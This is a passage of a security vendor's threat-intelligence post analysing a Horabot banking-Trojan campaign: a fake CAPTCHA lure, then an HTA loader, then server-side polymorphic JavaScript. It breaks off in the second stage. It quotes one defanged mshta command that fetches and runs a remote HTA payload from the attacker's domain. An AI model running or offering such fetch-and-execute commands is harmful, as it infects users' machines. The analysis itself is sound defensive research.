![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/03/12131223/SL-Horabot-featured-1-990x400.jpg) ## Introduction In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as **Horabot** , a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain. Although previous research has documented Horabot campaigns (here and here), our goal is to highlight how active this threat remains and to share some aspects not covered in those analyses. ## The starting point As usual, our story begins with an alert that popped up in one of our customers' environments. The rule that triggered it is generic yet effective at detecting suspicious mshta activity. The case progressed from that initial alert, but fortunately ended on a positive note. Kaspersky Endpoint Security intervened, terminated the malicious process (via a proactive defense module (PDM)) and removed the related files before the threat could progress any further. The incident was then brought up for discussion at one of our weekly meetings. That was enough to spark the curiosity of one of our analysts, who then delved deeper into the tradecraft behind this campaign. ## The attack chain After some research and a lot of poking around in the adversary infrastructure, our team managed to map out the end-to-end kill chain. In this section, we will break down each stage and explain how the operation unfolds. ### Stage 1: Initial lure Following the breadcrumbs observed in the reported incident, the activity appears to begin with a standard fake CAPTCHA page. In the incident mentioned above, this page was located at the URL https://evs.grupotuis[.]buzz/0capcha17/ (details about its content can be found here). ![Fake CAPTCHA page at the URL https://evs.grupotuis\[.\]buzz/0capcha17/](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/02/24133444/horabot-campaign1.png) Fake CAPTCHA page at the URL https://evs.grupotuis[.]buzz/0capcha17/ Similar to the Lumma and Amadey cases, this page instructs the user to open the Run dialog, paste a malicious command into it and then run it. Once deceived, the victim pastes a command similar to the one below: mshta https://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta This command retrieved and executed an HTA file that contained the following: ![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/02/24133620/horabot-campaign2.png) It is essentially a small loader. When executed, it opens a blank window, then immediately pulls and runs an external JavaScript payload hosted on the attacker's domain. The body contains a large block of random, meaningless text that serves purely as filler. ### Stage 2: A pinch of server-side polymorphism The payload loaded by the HTA file dynamically creates a new `

The SOC Files: Time to “Sapecar”. Unpacking a new Horabot campaign in Mexico